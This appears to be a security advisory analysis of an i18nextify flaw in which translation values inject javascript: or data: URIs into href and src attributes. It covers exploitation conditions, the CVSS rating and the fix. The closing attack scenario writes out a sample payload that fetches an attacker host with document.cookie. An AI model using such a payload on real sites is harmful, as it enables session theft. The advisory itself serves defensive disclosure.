i18nextify EUVD-2026-28440

Exploitation requires that an attacker can control or intercept the content of translation files or the translation backend response. Specific conditions include: (1) the translation backend is served over unencrypted HTTP (MITM feasible), OR (2) the translation CDN is compromised, OR (3) the application accepts user-contributed translations (e.g., crowdsourced locales) without sanitization, OR (4) the developer has write access but the translation authoring workflow lacks security controls. The vulnerable code path requires that i18nextify parses and substitutes {{key}} tokens inside href or src attribute values of DOM elements. User interaction is required: for javascript: URIs, the user must click the link; for data: URIs in src attributes, the page containing the iframe/object/embed must load. No special configuration is required-the vulnerability exists in default i18nextify behavior with any untrusted translation source. Legitimate applications with fully trusted translation sources (developers only, no MITM, HTTPS backend) are not at realistic risk, but this requires the entire supply chain (authors, CDN, transport) to be secure.

CVSS 4.7 (AV:N/AC:H/PR:N/UI:R/S:C) indicates moderate risk with important limiting factors: network-based attack vector, high complexity (attacker must compromise translation source or perform MITM), no privilege requirement, and required user interaction (clicking or page load). The high complexity and user interaction requirement reduce real-world exploitation frequency, but the scope change (C:L/I:L) means impact extends beyond the vulnerable component. No EPSS score, POC, or KEV status provided, suggesting this is not actively exploited at scale in the wild-likely because successful exploitation requires either control of the translation infrastructure (CDN, backend) or MITM capability. The advisory acknowledges this is an internal-audit finding, not discovered in active exploitation. Real-world risk depends heavily on how the application is deployed: applications using i18nextify over HTTPS with fully trusted translation backends (developers only, no user contributions) face minimal practical risk; applications accepting user-contributed translations or serving over HTTP face substantially higher risk. The fix is straightforward (blocklist dangerous schemes), and no configuration complexity adds exploitation barriers beyond the advisory's stated requirements.

An attacker compromises a translation CDN or performs a MITM attack on an unencrypted translation backend serving i18nextify. The attacker modifies the translation JSON to replace a legitimate link translation (e.g., 'nav.help' -> 'https://support.example.com') with a malicious javascript: URI (e.g., 'nav.help' -> 'javascript:fetch("https://attacker.com/steal?cookie="+document.cookie)'). When a victim clicks the help link on the website, the browser executes the injected JavaScript, stealing the user's authentication cookie and sending it to the attacker. Alternatively, the attacker injects a data: URI into an iframe src, embedding a full phishing page that mimics the site's login form within the victim's origin, bypassing the same-origin policy.